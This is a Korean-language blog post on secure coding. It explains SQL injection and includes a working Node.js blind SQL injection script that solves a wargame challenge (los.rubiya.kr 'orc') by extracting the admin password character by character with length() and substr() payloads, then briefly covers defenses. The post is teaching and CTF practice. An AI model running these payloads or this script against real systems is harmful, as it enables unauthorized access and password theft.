secure coding에 대해..

server side에서 API를 구현하다 보면 DB와 통신하기 위해 SQL query 를 작성한다.

물론 mongo 등 no SQL DB대신 mariadb와 같은 RDBMS에서만 해당하는 내용이지만

SQL query를 별도의 가공 없이 user의 input으로 dynamic하게 query를 execute하면 SQL injection에 대한 위험성이 존재한다.

SQL injection은 개발자가 만든 SQL query에 공격자가 임의적으로 query를 inject하여 별도의 code를 execution하는 것을 의미한다.

예를 들어서

select * from users where id=’$user_id’ and pw= ‘$user_pw’;

라는 쿼리가 존재하면 해당하는 $user_id 변수에 쿼터(’) 를 입력하면 이후에 쿼리를 조정할 수 있게 된다.

$user_id가 ‘ or 1이라고 할때

select * from users where id=’’ or 1 ’ and pw= ‘$user_pw’;

이라는 쿼리가 작성 될 것이고 해당하는 쿼리는 where절에서 참을 의미하므로 테이블의 모든 값을 반환하게 된다.

limit과 같은 쿼리로 traversal하면 테이블의 모든 값을 leak 할 수 있다.

아래는 sql injection이 발생할 때 injection의 유무만 알 수 있을 때 length나 substr과 같은 function을 이용해 table의 data를 leak 하는 코드이다.

blind sql injection (los orc 문제)

const request = require('request');
const cheerio = require('cheerio')
let cookie="PHPSESSID=5vramqhloq2piqf5urtepjr8b0"
const getOrcLen = (len)=>{
	return new Promise(async(resolve,reject)=>{
		let result = await new Promise((resolve,reject)=>{
		request.get({url:"<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=1%27%20or%200%20or%20length(pw)="+len+"%23>",
			headers:{
				'Cookie':cookie
			}
		},(err,response,html)=>err?console.log(err):resolve(html))
		})
		console.log("<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=1%27%20or%200%20or%20length(pw)="+len+"%23>");
		resolve(result)
	})
}
const getOrc = (len,alpha)=>{
        return new Promise(async(resolve,reject)=>{
                let result = await new Promise((resolve,reject)=>{
                request.get({url:"<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=1%27%20or%200%20or%20substr(pw,"+len+",1)='"+alpha+"'%23>",
                        headers:{
                                'Cookie':cookie
                        }
                },(err,response,html)=>err?console.log(err):resolve(html))
                })
		console.log("<https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?id=admin&pw=1%27%20or%200%20or%20substr(pw,"+len+",1)="+alpha+"%23>")
                resolve(result)
        })
}
const list = "1234567890ABCDEFGHIJKLMNOPQRSTUVWYXZabcdefghijklmnopqrstuvwyxz"
let main = ()=>{
	return new Promise(async(resolve,reject)=>{
		let len;
		for(let i=0;i<10;i++){
			let data = await getOrcLen(i)
			const $ = cheerio.load(data);
			if($("body > h2").text().toString().indexOf('admin')!=-1){
				console.log($("body > h2").text());
				console.log("len : ",i);
				len=i;
			}
		}
		let text="";
		for(let j=0;j<=len;j++){
		for(let i=0;i<list.length;i++){
			let data = await getOrc(j,list[i])
                        const $ = cheerio.load(data);
                        if($("body > h2").text().toString().indexOf('admin')!=-1){
                                console.log($("body > h2").text());
                                console.log("text : ",list[i]);
				text+=list[i];
                                break;
                        }

		}
		}
		console.log("password : ",text);
		resolve()
	})
}
main()

SQL injection을 방어하려면 dynamic query builder와 같은 ORM을 사용하거나 변수에서 injection query를 escape해주어야 한다.

그렇다고 ORM을 사용한다고 완벽하게 방어가 되는 것은 아닌데 이는 19년도의 CTFD account takeover 취약점과 같은 logic bug가 발생할 수 있다.